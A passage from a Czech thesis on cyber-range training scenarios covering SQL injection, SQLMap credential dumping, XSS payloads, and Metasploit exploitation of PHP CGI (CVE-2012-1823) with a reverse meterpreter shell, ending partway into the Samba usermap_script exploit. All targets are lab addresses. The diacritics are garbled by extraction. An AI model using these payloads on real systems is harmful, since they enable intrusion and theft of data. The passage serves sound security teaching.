Pˇri SQL injekci lze využit klauzuli UNION sloužící pro slouˇcení více tabulek shodujících se v datovém typu a pro získání více dat díky jednomu dotazu [52]. Pokud napˇr. máme stránku customer.php?id=1 muže ˚ dotaz pro výpis prvního prvku v tabulce vypadat následovnˇe: SELECT * FROM customers WHERE id = '1'
Pomocí klauzule ORDER BY je možné zjistit poˇcet sloupcu˚ v tabulce zadáváním cˇ ísel od jedné až po cˇ íslo, které vypíše chybnou stránku. Napˇr.: SELECT * FROM customers WHERE id = '1' ORDER BY 5--'
Pˇríkaz vypíše pozmˇenˇenou stránku, což znamená, že tabulka má cˇ tyˇri sloupce. Nyní již staˇcí využít zminovanou ˇ klauzuli UNION pro výpis všech dat: SELECT * FROM customers WHERE id = '1' UNION ALL SELECT 1,2,3,4 --'
5.3.1 Pˇredání parametru metodou POST První praktický úkol na SQL injekci v Kybernetickém polygonu využívá pro pˇredávání parametru˚ metodu POST. V této ukázce byla vytvoˇrena PHP stránka znázornující ˇ klasický formuláˇr pro pˇrihlášení do systému. Stránka je dostupná na adrese webového serveru a zobrazení je možné bud’ uskuteˇcnit v prohlížeˇci zadáním adresy 10.10.1.2/loginpost.php a nebo použít nástroj cURL. Nástroj cURL je využíván pro stažení webové stránky, pokud je dostupný pouze pˇríkazový rˇ ádek. Nástroj je nainstalován na testovacím stroji, na který je nutné se pˇred zapoˇcetím scénáˇre pˇrihlásit. Formuláˇr pro zadání správného jména a hesla je zobrazen na obrázku 5.4, 31
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
skrze nˇejž se uživatel pˇrihlásí do systému. Využít syntaxi cURL zajišt’ující stejný výsledek jako vyplnˇení formuláˇre, je možné zadáním následujícího výrazu: $ curl --data "myusername=jarda&mypassword=456" 10.10.1.2/checkloginpost.php
Obrázek 5.4: Pˇrihlášení do systému
Pro lepší porozumˇení SQL dotazum ˚ je na pˇresmˇerované stránce vypsána pˇresná forma provedeného SQL dotazu: SELECT * FROM members WHERE username='jarda' and password='456'
Pˇri vytváˇrení rozšiˇrujícího dotazu je nutné dodržovat správnou syntaxi. Pˇríkladem špatné syntaxe muže ˚ být nezadaný ukonˇcující jednoduchý apostrof do pˇrihlašovacího formuláˇre: 'OR 1=1. Jelikož má webový server zapnuté chybové zprávy, vypíše se stránka s varovnou hláškou. Stránka informuje, že PHP funkce nedokázala rozparsovat data, jež ji poslal DB server. Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/checkloginpost.php on line 54
Chybný dotaz je možné spustit pomocí cURL: $ curl --data "myusername=' OR 1=1&mypassword=" 10.10.1.2/checkloginpost.php
Jestliže má tester znalost pˇrihlašovacího jména a má v úmyslu se pod ním pˇrihlásit, je možné vyplnit jméno pomocí logického operátoru AND spolu s vždy pravdivým výrazem jarda'AND 1=1-- ' a získat pˇrístup k sytému jako zvolený uživatel [53]. Situace je znázornˇena na obrázku 5.5, kterému odpovídá následný pˇríkaz:
Obrázek 5.5: Pˇrihlášení pomocí logického operátoru AND
32
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
$ curl --data "myusername=jarda' AND 1=1-- '&mypassword=" 10.10.1.2/checkloginpost.php
Neznáme-li pˇrihlašovací jméno, je možné využít logický operátor OR se vždy pravdivým výrazem, jenž je znázornˇen na obrázku 5.6 a odpovídá pˇríkazu 'OR 1 = 1 -- '. Dotaz je možné uskuteˇcnit, jelikož operátor AND má vyšší prioritu než operátor OR, a proto se nejdˇríve vyhodnotí výraz AND jako nula a poté se až vyhodnotí výraz OR jako jedna. Výslednému dotazu odpovídají všechny hodnoty z tabulky, a pokud by byl v kódu stránky zaˇclenˇen výpis hodnot, jsou zobrazena veškerá data. Pˇríkaz pro získání veškerých dat je následovný: $ curl --data "myusername=&mypassword=' OR 1 = 1 -- '" 10.10.1.2/checkloginpost.php
Obrázek 5.6: Pˇrihlášení pomocí logického operátoru OR
5.3.2 Využití nástroje SQLMap pro získání informací o databázi Druhý scénáˇr využívá program SQLMap pro automatizovaný proces detekce a využití SQL injekci pro získání dat z databáze MySQL [54]. Program nabízí jak velkou škálu specializovaných funkcí pro zjednodušení penetraˇcního testování, tak širokou škálu pˇrepínaˇcu˚ pro naˇcítání dat z databáze, pˇrístup k základnímu souborovému systému a provádˇení pˇríkazu˚ na operaˇcním systému díky vzdálenému pˇripojení k systému (anglicky Out-of-band connection). Program SQLMap je vhodný, pokud uživatel nemá potˇrebné znalosti v oblasti PHP a SQL. Cviˇcení je možné provádˇet na pˇripravené PHP stránce dostupné na adrese webového serveru na adrese 10.10.1.2/login.php. Stránka, podobnˇe jako pˇredchozí pˇríklad, pˇredstavuje formuláˇr pro pˇrihlášení do systému s tím rozdílem, že pˇredávání parametru˚ probíhá pomocí funkce GET, díky níž je možné program využít. Pokud víme, že je webová aplikace náchylná na SQL injekci, lze využitím nástroje SQLMap získat informace o struktuˇre databáze nebo hodnoty z tabulek. Pˇríklad je reálné provádˇet, pokud známe tvar parametru, ˚ které se pˇredávají v URL adrese pomocí metody GET. Další nutností je výpis zadaných hodnot po pˇrihlášení. Vytvoˇrená stránka vypíše po úspˇešném pˇrihlášení hodnotu zadanou do argumentu „Jméno“. Prvním krokem k získání dat z tabulky je opatˇrení URL adresy s pˇredávanými argumenty pomocí GET metody. Tvar parametru˚ s vloženými hodnotami lze zjistit zadáním hodnot do formuláˇre. Pomocí nástroje cURL je možné ovˇerˇ it správnost argumentu: ˚ $ curl "10.10.1.2/checklogin.php?myusername=admin&mypassword=1234"
33
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Adresa potˇrebná pro nástroj SQLMap se skládá pouze z prvního argumentu. Jeho hodnota nemusí být reálné pˇrihlašovací jméno. Na testovacím stroji nyní mužeme ˚ zadávat jednotlivé pˇríkazy pro zjištˇení obsahu tabulky. Nejdˇríve je nutné zjistit jméno databáze: # python sqlmap.py -u 10.10.1.2/checklogin.php?myusername=aaa --dbs --level=5
Parametr „level“ nastaví míru obtížnosti testování z pˇrednastavené jedna na pˇet, cˇ ímž se zvýší poˇcet zkoumaných druhu˚ SQL injekce. Úrovenˇ jedna je nedostateˇcná pro pˇripravenou stránku. Uvedený pˇríkaz vypíše rozsáhlé informace zahrnující aktuální verze programu, ˚ ale pˇredevším také poˇcet a jména databází: web application technology: PHP 5.2.5, Apache 2.2.6 back-end DBMS: MySQL 5.0.11 available databases [3]: [*] book [*] find [*] user
Pro scénáˇr testující SQL injekci byla použita databáze „user“. Jméno databáze se využije pro další dotaz zjišt’ující jméno tabulky: # python sqlmap.py -u 10.10.1.2/checklogin.php?myusername=aaa -D user --tables
Získané informace po zadání pˇríkazu: Database: tables [1 table] +---------+ | members | +---------+
Zadaný dotaz odhalil jméno tabulky „members“ a je následnˇe využit pro zjištˇení názvu˚ a poˇctu˚ sloupcu˚ v tabulce: # python sqlmap.py -u 10.10.1.2/checklogin.php?myusername=aaa -D user -T members --columns
Získané informace po zadání pˇríkazu: Database: user Table: members [3 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(5) | | password | varchar(65) | | username | varchar(65) | +----------+-------------+
Nakonec již staˇcí zjištˇené názvy sloupcu˚ zadat do posledního dotazu, který vypíše veškerá data z tabulky: # python sqlmap.py -u 10.10.1.2/checklogin.php?myusername=aaa -D user -T members -C id,username,password --dump
34
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Zkrácený výpis získaných informací po zadání pˇríkazu vypisující jména a hesla uživatelu: ˚ Database: user Table: members +----+----------+----------+ | id | username | password | +----+----------+----------+ | 0 | jarda | 456 | | 1 | ales | 123 | | 2 | admin | 1234 | +----+----------+----------+
5.4
Zranitelnost na XSS
Další varianta scénáˇre penetraˇcního testování se zabývá zranitelností Cross-site scripting (XSS) [55]. Existuje mnoho podob XSS útoku, ˚ se kterými je možné se setkat a je nutné se seznámit se základními typy útoku. ˚ Po základním pˇredstavení zranitelnosti následuje praktické cviˇcení na dva typy útoku. ˚ Prvním úkolem je vyzkoušet si perzistentní XSS útok a druhým je otestovat zranitelnou webovou stránku pomocí neperzistentního XSS útoku. Student by mˇel mít pro absolvování cviˇcení vstupní znalosti: • • • •
základní zkušenosti s linuxovou konzolí, základní znalosti skriptovacích jazyku, ˚ základní znalosti PHP a HTML, pˇrípadnˇe znalost nástroje cURL.
Útok XSS využívá stejnˇe jako pˇredchozí SQL injekce bezpeˇcnostních chyb, pˇredevším neošetˇrené vstupy. Hlavní podstata XSS nespoˇcívá v útoku proti samotnému webovému serveru, ale ve vykonání vlastního kódu na stroji uživatele, tzn. že pˇri útoku nedochází ke zmˇenˇe zdrojového kódu webové aplikace, ale ke vložení vlastního skriptu. Existuje nˇekolik variant, jak toho útoˇcník muže ˚ dosáhnout. Mezi základní skupiny patˇrí perzistentní, neperzistentní a XSS založené na objektovém modelu dokumentu (DOM-based XSS, anglicky Document Object Model based XSS). Perzistentní XSS Snadno pochopitelnou variantou je perzistentní XSS, kdy dochází k trvalému uložení vlastního skriptu do databázového úložištˇe webové aplikace [56]. Pˇri zobrazení webové stránky dochází k naˇctení a provedení vloženého kódu, který muže ˚ mít za následek napˇríklad zastavení naˇcítání obsahu stránky. Obvykle se mužeme ˚ setkat s perzistentním XSS na webových stránkám, kde má uživatel možnost uložit vlastní pˇríspˇevky trvale do databáze, nejˇcastˇeji však v diskuzních fórech, komentáˇrích cˇ lánku˚ nebo v návštˇevních knihách. Princip útoku je zobrazen na obrázku 5.7 a je možné rozdˇelit postup útoku na nˇekolik fází: 1. 2. 3. 4. 5.
Útoˇcník nejdˇríve odešle vlastní kód vložený do formuláˇre na webový server. Webový server uloží útoˇcníkuv ˚ vstup do databáze. Bˇežný uživatel pošle požadavek na zobrazení webové stránky. Webový server požádá o zaslání dat z databáze. Data se naˇctou a následnˇe se vloží do webové stránky spolu s vloženým skriptem. 35
Útočník
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
1
Webový server
2
Uživatel
3 6
4 5
Databáze
Obrázek 5.7: Princip perzistentního XSS
6.
Webová stránka je odeslána uživateli, kterému prohlížeˇc spustí vložený skript.
Perzistentní XSS útok je schopen vyˇradit stránky z provozu pro všechny uživatele, což z nˇej cˇ iní velmi úˇcinnou variantou útoku. Nevýhodou je rychlé zjištˇení vloženého kódu a také jeho odstranˇení, jelikož se skript vykonává pˇri každém zobrazení stránky. Neperzistentní XSS Další varianta obdobnˇe jako perzistentní XSS využívá vložení skriptu do obsahu webové stránky, nyní avšak nedochází k trvalému uložení kódu do databáze, ale je jednorázovˇe vložen webovým serverem, spuštˇen a zobrazen prohlížeˇcem. Neperzistentní XSS je nejˇcastˇeji využívanou variantou a je možné se s ním setkat napˇríklad ve vyhledávaˇcích nebo pˇri pˇredávání obsahu stránky v parametrech URI pomocí metody GET. Jednotlivé fáze prubˇ ˚ ehu útoku jsou znázornˇeny na obrázku 5.8 a je možné rozdˇelit postup útoku na nˇekolik fází: 1. 2. 3.
Nejdˇríve útoˇcník odešle uživateli podvržený odkaz URI, zahrnující škodlivý skript obsažený v parametru odkazu, napˇríklad pomocí e-mailu. Jakmile uživatel klikne na odkaz, jsou data v parametru pˇredána webovému serveru, který vloží potˇrebné parametry do HTML stránky. Webový server odešle uživateli HTML stránky a dále mu prohlížeˇc spustí skript a zobrazí stránku. Pˇri tomto útoku nedochází k odhalení útoˇcníka na webovém serveru, jelikož spuštˇený skript je spojen s adresou obˇeti. Útočník
1
Uživatel
2 3
Webový server
Obrázek 5.8: Princip perzistentního XSS
36
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Neperzistentní XSS je možný i pomocí metody POST, jež nepˇredává parametry v odkazu, ale v tˇele požadavku HTTP. Není proto možné zasílat prostý URI odkaz pˇrímo obˇeti, avšak je nutné zaslat adresu vlastního webového serveru, který zpusobí ˚ automatizované pˇredání parametru. ˚ DOM-based XSS Poslední popisovanou skupinou jsou DOM-based XSS pˇripomínající neperzistentní XSS [57]. Rozdíl spoˇcívá v dobˇe, kdy se vkládá obsah do webové stránky. Pˇredchozí typy vkládaly obsah již na stranˇe webovém serveru, DOM-based XSS vkládá hodnoty parametru˚ až v uživatelovˇe prohlížeˇci. Útok se nejˇcastˇeji vyskytuje pˇri zjišt’ování verze prohlížeˇce nebo operaˇcního systému. Útok využívá JavaScript k manipulaci objektu˚ DOM, napˇríklad metody document.location, document.URL a nebo document.referrer. 5.4.1 Perzistentní XSS První cˇ ást praktického cviˇcení se zabývá perzistentním XSS. Pro názornou ukázku byla vytvoˇrena webová stránka znázornující ˇ knihu návštˇev pro simulaci trvalého uložení pˇríspˇevku do datového úložištˇe. Na PHP stránku je možné pˇristupovat zadáním odkazu http://10.10.1.2/guestbook.php v uživatelském prohlížeˇci. Stránka vyzývá uživatele k zadání jména, textu a pˇrípadnˇe emailu. První úkol zahrnuje vložení skriptu do pˇripravené stránky. Pro ukázku slabých míst webové stránky je využita metoda objektu window alert. Tˇelo skriptu se vkládá mezi HTML tag <script> a . Tvar výsledného pˇríspˇevku vloženého do textového pole: Perzistentní skript: <script>alert(/Cross-site scripting/); m˚ uže vypadat takto.
Po odeslání pˇríspˇevku je stránka zobrazena pouze po místo vloženého skriptu, který je spuštˇen a má za následek zobrazení varovného okna s textem: Cross-site scripting ilustrovaný pomocí obrázku 5.9.
Obrázek 5.9: Následek vložení skriptu Vkládat skript je možné pˇrímo do parametru URL adresy, jelikož byla pˇri vývoji stránky využita metoda GET pro pˇredání parametru. ˚ Aplikovanou metodu GET je možné ovˇerˇ it 37
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
odesláním prázdného pˇríspˇevku, což zapˇríˇciní pˇresmˇerování stránky na následující stránku, která vypíše varovný text: Nebylo vyplnˇ eno pole Jméno nebo Text!
Na stránce je nutné si všimnout parametru˚ pˇredávajících v URL a jejich tvaru. Samotná adresa je oddˇelena znakem otazník od oblasti vkládaných promˇenných a oddˇelovaných znakem „&“. Adresa URL bez zadaných parametru˚ má tvar: http://10.10.1.2/add.php?jmeno=&email=&text=
Znalost adresy umožnuje ˇ vložení kódu PHP skriptu. Je tˇreba si uvˇedomit, že bˇehem pˇredání parametru˚ dochází k transformaci znaku. ˚ Napˇríklad znak „mezera“ je nahrazen znakem „plus“ a speciální znaky jsou pˇrekódovány na hexadecimální cˇ ísla ve tvaru „%AA“. Transformace znaku˚ je provádˇena z ISO-8859-2 do URL kódování. Výsledný skript je možné zadat pomocí nástroje cURL: # curl "10.10.1.2/add.php?jmeno=Pepa&email=pepa%40mail.cz&text= %3Cscript%3Ealert%28%2FCross-site+cripting%2F%29%3B%3C%2Fscript%3E"
Další pˇríklad znázornuje ˇ možnost vložení odkazu na stránku. Po kliknutí na odkaz dochází ke spuštˇení JavaScriptového kódu v souvislosti se stránkou, na které je odkaz umístˇen. Pˇríklad pˇríspˇevku vloženého do textového pole je zobrazen na obrázku 5.10 a má tvar: Využití metody alert:
Klikni sem.
Obrázek 5.10: Následek kliknutí na odkaz Pro ovˇerˇ ení správnosti vkládaného pˇríspˇevku, pomocí nástroje cURL, je vždy nutné transformovat text do URL kódování. Výsledný pˇríkaz skriptu vloženého do parametru „text“: # curl "10.10.1.2/add.php?jmeno=Anonym&email=&text= Vyu%BEit%ED+metody+alert%3A+%3Ca+href%3D%22javascript%3A alert%28%2FXSS+%FAtok%2F%29%3B%22%3EKlikni+sem.%3C%2Fa%3E"
Odkaz je reálné využít i pro pˇresmˇerování uživatele na vlastní pˇripravenou stránku: 38
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Pˇ resmˇ erování po kliknutí na odkaz:
Klikni sem.
Poslední pˇríklad ukazuje pˇresmˇerování testované stránky na pˇripravenou stránku. Vložením skriptu útoˇcník dosáhne nefunkˇcnosti stránky. Pˇresmˇerování je provedeno pˇri každém naˇctení a poté je nutné pro znovuobnovení stránky kontaktovat vývojáˇre, který tento pˇríspˇevek vymaže z databáze: Pˇ resmˇ erování na jinou stránku: <script>document.location.href = "http://google.com";
5.4.2 Neperzistentní XSS Druhá cˇ ást praktického cviˇcení se vˇenuje neperzistentnímu XSS. Byla vytvoˇrena webová stránka simulující vyhledávaˇc pro získávání informací z databáze. V uživatelském prohlížeˇci se PHP stránka zobrazí zadáním URL adresy http://10.10.1.2/searxh.php. Pˇri vývoji stránky byla pro pˇredání parametru˚ využita metoda GET. Zranitelnost je uskuteˇcnitelná, jelikož nejsou ošetˇreny vstupní parametry a druhým duležitým ˚ faktorem je, že stránka vypisuje zadaný výraz, pokud nebyl v databázi nalezen. Zranitelnost je možné ovˇerˇ it zadáním již uvedeného kódu: <script>alert('Neperzistentní XSS');
Zadáním skriptu do vyhledávaˇce se provede kód stránky pouze po místo, kde se vypisuje zadaný dotaz. Webová aplikace tímto zpusobem ˚ vloží hodnotu promˇenné do obsahu stránky a tím provede skript. Výpis provedeného skriptu je znázornˇen na obrázku 5.11.
Obrázek 5.11: Následek vložení skriptu do vyhledávaˇce Na stránku byl pˇridán výpis pˇrevádˇející skript do cˇ itelné podoby, aby si tester mohl kontrolovat hodnotu vloženou do vyhledávaˇce a pˇrípadnˇe zda hodnota nebyla zmˇenˇena: Hledaný dotaz: Pro vyhledávací dotaz " <script> alert('Neperzistentní XSS'); " - nebyl nalezen žádný výsledek.
5.5
Zranitelnost služby PHP
Následující varianta scénáˇre navazuje na identifikaci zranitelností, pˇri které byla objevena služba PHP 5.3.3-7+squeeze8 zahrnující zranitelnost CVE-2012-1823. Student by mˇel mít pro absolvování cviˇcení vstupní znalosti: 39
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
• • •
základní zkušenosti s linuxovou konzolí, základní povˇedomí o nástroji Metasploit, schopnost porozumˇet základum ˚ programového kódu v PHP, C.
Zneužití je reálné pˇri spuštˇení PHP jako CGI pˇred verzemi 5.3.12 a 5.4.2, které jsou náchylné na zranitelnost pomocí injekce parametru˚ [58]. Chybu je možné nalézt v instalaˇcním kódu SAPI/cgi/cgi_main.c v programovacím jazyce C. Pˇri konfiguraci CGI skriptu (jako php-cgi) nezpracovává PHP správnˇe dotaz, protože rˇ etˇezec dotazu postrádá znaménko „rovná se“. Zmínˇený znak umožnuje ˇ vzdálenému útoˇcníkovi spustit libovolný kód díky umístˇení možnosti pˇríkazového rˇ ádku do rˇ etˇezce dotazu. Problém souvisí s vynecháním urˇcité php_getopt() metody s parametrem „d“. Praktický pˇrípad využívá nástroj Metasploit s jedním z jeho modulu˚ využívající argument injekci a parametr „-d“ pro nastavení php.ini pˇríkazu˚ k dosažení spuštˇení kódu. Pokud je znak „=“ nahrazen v rˇ etˇezci dotazu, je rˇ etˇezec rozdˇelen na „+“ zakódované znaky, dekódované URL a funkci, která nahrazuje shell meta znaky (zakódované v systému, definované standardem RFC), a poté pˇredané do CGI binárního kódu. Vzdálený uživatel muže ˚ získat potenciálnˇe citlivé informace pomocí spuštˇení libovolného kódu na cílovém systému nebo muže ˚ odeslat speciálnˇe vytvoˇrený požadavek, který obsahuje pˇrepínaˇc pˇríkazového rˇ ádku zpusobující ˚ vykonání parametru díky php-cgi binárnímu kódu. Demonstrování slabin je možné pomocí URL, jež zobrazí zdrojový kód stránky: http://[target]/index.php?-s
Útok je znázornˇen na obrázku 5.12 a jeho postup lze rozdˇelit na nˇekolik fází: 1. 2. 3. 4.
Naˇctení exploitu a payloadu z databáze Metasploit. Zaslání exploitu na webový server. Exploit nastaví konfiguraˇcní parametry PHP služby. Ustanoví se spojení mezi obˇema stroji.
Pentest PC Kali
Metasploit
Rozhraní
Msfconsole
1
Moduly Exploit
Payload
2 4
Web server (zranitelný)
PHP interpreter 3
Konfigurační soubory PHP
Obrázek 5.12: Návázání spojení
40
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
5.5.1 Navázání spojení pomocí nástroje Metasploit Po seznámení se se zranitelností je možné provést exploitaci zranitelné PHP služby pomocí nástroje Metasploit, jenž se spustí díky rozhraní pro práci s exploity zadáním pˇríkazu msfconsole. Zranitelnost CVE-2012-1823 využívá nastavení PHP jako CGI. Informace je využita pˇri vyhledání exploitu: # msfconsole msf > search php_cgi Matching Modules Name ---exploit/multi/http/php_cgi_arg_injection
Description ----------PHP CGI Argument Injection
Nástroj úspˇešnˇe vyhledal modul využívající PHP CGI argument injekci. Dalším krokem je vypsání informací pro snadné nastavení parametru˚ pˇred samotným spuštˇením exploitu: msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > show options Name Current Set Required Description -------------- -------- ----------RHOST yes The target address RPORT 80 yes The target port TARGETURI no The URI to request (must be a CGI-handled PHP script) URIENCODING 0 yes Level of URI URIENCODING and padding (0 for minimum) VHOST no HTTP server virtual host
Pro úspˇešné spuštˇení exploitu je nutné nastavit zdrojovou adresu Kali systému a cílovou adresu webového serveru nebo také cílové URI a payload: msf exploit(php_cgi_arg_injection) > set RHOST 10.10.1.2 RHOST => 10.10.1.2 msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf exploit(php_cgi_arg_injection) > set LHOST 10.10.1.4 LHOST => 10.10.1.4
Nyní, když byly nastaveny parametry, lze spustit exploit pro ustanovení spojení mezi webovým serverem a testovacím strojem: msf exploit(php_cgi_arg_injection) > exploit [*] Started reverse handler on 10.10.1.4:4444 [*] Sending stage (39848 bytes) 10.10.1.2. [*] Meterpreter session 1 opened (10.10.1.4:4444 -> 10.10.1.2:48424) meterpreter >
Útoˇcník nyní muže ˚ využít spojení pro zveˇrejnˇení informací uložených na webovém serveru, provádˇet neoprávnˇené úpravy souboru˚ nebo úmyslnˇe narušit bˇeh služby. 5.5.2 Použití existujícího exploitu Další úkol slouží k demonstrování manuálního zneužití chyby a k porovnání s pˇríkladem využívající automatizovaný nástroj pro nalezení zranitelných míst v systému. Témˇerˇ 41
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
všechny spoleˇcnosti na celém svˇetˇe provozující penetraˇcní testování se zamˇerˇ ují na manuální testování sytému, jelikož automatizované testy jsou omezeny svými schopnostmi, pˇrizpusobením ˚ na aktuální situaci nebo postrádají intuitivní chování testera [59]. Výhodou manuálního testování je možnost popsání výsledku˚ nezainteresovaným osobám, jež nemají potˇrebné znalosti. Za nevýhodu je možné považovat vyšší požadovanou znalost o dané problematice a související vyšší cˇ asová nároˇcnost nutná k nastudování informací. Praktický pˇríklad navazuje na zjištˇenou zranitelnost PHP služby v podobˇe injekce parametru˚ identifikovanou jako CVE-2012-1823. Informace je možné využít pˇri vyhledávání exploitu napˇríklad v databázi na stránkách www.exploit-db.com. Zde je reálné nalézt vyhovující exploit, jenž lze stáhnout pˇríkazem: $ wget "http://www.exploit-db.com/download/18836/" -O exploitPHP.py
Nevýhodou zveˇrejnˇených exploitu˚ je špatná nebo obvykle žádná dokumentace nebo popis problematiky. Tester proto musí mít základní znalost programovacího jazyka, v kterém byl kód vytváˇren. Z kódu je obvykle nutné vyˇcíst s jakými parametry je možné exploit spustit. Kýžený exploit byl naprogramován v jazyce Python a z následujícího zkráceného výpisu kódu jsou získány informace o vstupních promˇenných: if __name__ == '__main__': try: HOST = sys.argv[1] PORT = sys.argv[2] cgi_exploit()
Vstupními promˇennými jsou IP adresa vzdáleného webového serveru a port. Z kódu je možné vyˇcíst jaký má následek vykonání exploitu a jakým zpusobem ˚ toho bylo dosaženo: def cgi_exploit(): pwn_code = """""" post_Length = len(pwn_code) http_raw="""POST /?-dallow_url_include%%3don+-dauto_prepend_file%%3dphp://input HTTP/1.1 Host: %s Content-Type: application/x-www-form-urlencoded Content-Length: %s"""
Exploit má v tomto pˇrípadˇe za následek zjištˇení informací o PHP službˇe díky funkci phpinfo(). Informace lze využít napˇríklad pokud exploit pro vlastní spuštˇení vyžaduje zadat cestu ke konfiguraˇcním souborum ˚ PHP služby jako vstupní parametry. Nyní již staˇcí spustit kód s požadovanými vstupními parametry, jenž se skládají z adresy webového serveru a HTTP portu 80. Zjištˇené informace obsahují napˇríklad jméno aplikovaného protokolu nebo cestu ke konfiguraˇcním souborum, ˚ jež jsou uvedeny v následujícím zkráceném výpisu: $ python exploitPHP.py 10.10.1.2 80 Server: Apache/2.2.16 (Debian) Powered-By: PHP/5.3.3-7+squeeze8
Server API | CGI/FastCGI | Virtual Directory Support | disabled | Configuration File (php.ini) Path | /etc/php5/cgi | Loaded Configuration File | /etc/php5/cgi/php.ini |
42
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
Úprava exploitu Bˇehem zkoumání zdrojového kódu bylo zjištˇeno, že exploit je možné pozmˇenit a využít ho pro spuštˇení skriptu, který smaže zadané hodnoty z MySQL tabulky využívané pˇri ukázce SQL injekce. Vlastní kód se vkládá místo PHP kódu do promˇenné „pwn_code“. Pˇri programování skriptu bylo využito získaných informací, které vypsal program SQLMap, konkrétnˇe jméno databáze a existujícího uživatele. Pˇred spuštˇením exploitu je vhodné si vypsat aktuální hodnoty z tabulky pˇríkazem: $ python sqlmap.py -u 10.10.1.2/checklogin.php?myusername=aaa -D user -T members -C id,username,password --dump
Upravený exploit má za úkol smazat uživatele „admin“ z databáze „user“. Následuje kód upraveného exploitu: pwn_code = """"""
Vytvoˇrený skript je možné upravovat podle vlastního uvážení. Nakonec je vhodné ovˇerˇ it smazání uživatele pomocí výše uvedeného pˇríkazu nástroje SQLMap.
5.6
Zranitelnost služby Samba
Poslední varianta scénáˇre navazuje stejnˇe jako pˇredchozí zranitelné PHP na identifikaci zranitelností, pˇri níž byla objevena služba Samba 3.0.20. Student by mˇel mít pro absolvování cviˇcení vstupní znalosti: • •
základní zkušenosti s linuxovou konzolí, základní povˇedomí o nástrojích Metasploit a John the Ripper.
V databázi veˇrejnˇe dostupných spustitelných kódu˚ http://www.exploit-db.com/ byla nalezena zranitelnost Samba CVE-2007-2447 vztahující se k dané verzi. Zranitelnost existuje díky funkcionalitˇe smbd v Sambˇe ve verzích 3.0.0 až 3.0.25rc3, které umožnují ˇ vzdálenému útoˇcníkovi spustit libovolný pˇríkaz prostˇrednictvím shell meta znaku˚ zahrnující funkci SamrChangePassword(), pokud je povolena možnost „username map script“ v souboru smb.conf [60]. Chyba také umožnuje ˇ vzdálenˇe ovˇerˇ eným uživatelum ˚ spustit pˇríkazy pˇres shell meta znaky zahrnující další MS-RPC funkce u vzdálené tiskárny a u rˇ ízení sdílení souboru, ˚ ale oproti funkci SamrChangePassword() je vyžadována ovˇerˇ ená relace uživatele. Hlavní pˇríˇcinou jsou neošetˇrené vstupní parametry uživatele a díky MS-RPC jsou pˇredány jako argumenty pro /bin/sh pˇri volání externích skriptu˚ definovaných v smb.conf. Zranitelnosti CVE-2007-2447 pˇredcházeli dvˇe identifikace zranitelnosti. První chyba byla nahlášena jako CVE-2007-2444, kdy Samba povolila získat doˇcasné oprávnˇení uživatele „root“ pˇri pˇrekladu SIDs. Vzdálenˇe ovˇerˇ ený uživatel mohl zadat SMB operace bˇehem krátkého okamžiku, kdy mˇel pˇríležitost a získat oprávnˇení uživatele „root“. Další CVE-20072446 poukazuje na fakt, že Samba neˇreší NDR parsování správnˇe. Vzdálený útoˇcník mohl odeslat speciálnˇe vytvoˇrené požadavky MS-RPC, které by mohly pˇrepsat místo v pamˇeti 43
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
a spustit libovolný kód. Na zmínˇené zranitelnosti navazuje CVE-2007-2447, kdy bylo zjištˇeno, že Samba nemá správnˇe ošetˇreny vstupní parametry pro externí skripty definované v smb.conf. Praktický pˇríklad využívá ke zneužití zranitelnosti nástroj Metasploit, pokud jsou nastaveny jiné než výchozí hodnoty v konfiguraci "username map script". Zadáním uživatelského jména obsahující shell meta znaky, muže ˚ útoˇcník spustit libovolný pˇríkaz. Není nutná žádná autentizace pro zneužití chyby zabezpeˇcení, nebot’ tato možnost se používá k mapování uživatelských jmen pˇred autentizací. Bˇehem praktického pˇríkladu bude nejdˇríve provedena exploitace zranitelné Samby a získány administrátorská práva „root“. Díky navázanému spojení se využije Metasploit pro získání hashe hesel k systému. Nakonec bude ukázáno získání hesel z hashe použitím programu John the Ripper. 5.6.1 Navázání spojení a získání administrátorských pravomocí Exploitace zranitelné Samby služby pomocí nástroje Metasploit je znázornˇena na obrázku 5.13 a vykresluje nutné kroky pro navázání spojení: 1. 2. 3. 4.
Útoˇcník nejdˇríve naˇcte exploit a payload z databáze Metasploit. Nástroj po spuštˇení exploitu zašle kód na webový server. Exploit využije chybné nastavení služby Samba. Ustanoví se spojení mezi obˇema stroji. Útoˇcník muže ˚ zneužít webový server díky získanému oprávnˇení administrátora „root“.
Pentest PC Kali
Metasploit
Rozhraní
Msfconsole
1
Moduly Exploit
Payload
2 4
Web server (zranitelný) 3
Samba server
Sdílené soubory
Obrázek 5.13: Návázání spojení a získání práv uživatele „root“ Metasploit se spouští pˇríkazem msfconsole, jenž spustí rozhraní pro práci s exploity, napˇríklad pokud není znám pˇresný název exploitu, lze vyhledávat zadáním relevantních informací:
44
ˇ 5. B EZPE CNOSTNÍ SCÉNÁ Rˇ PRO K YBERNETICKÝ POLYGON
# msfconsole msf> search samba Matching Modules Name ---exploit/multi/samba/usermap_script
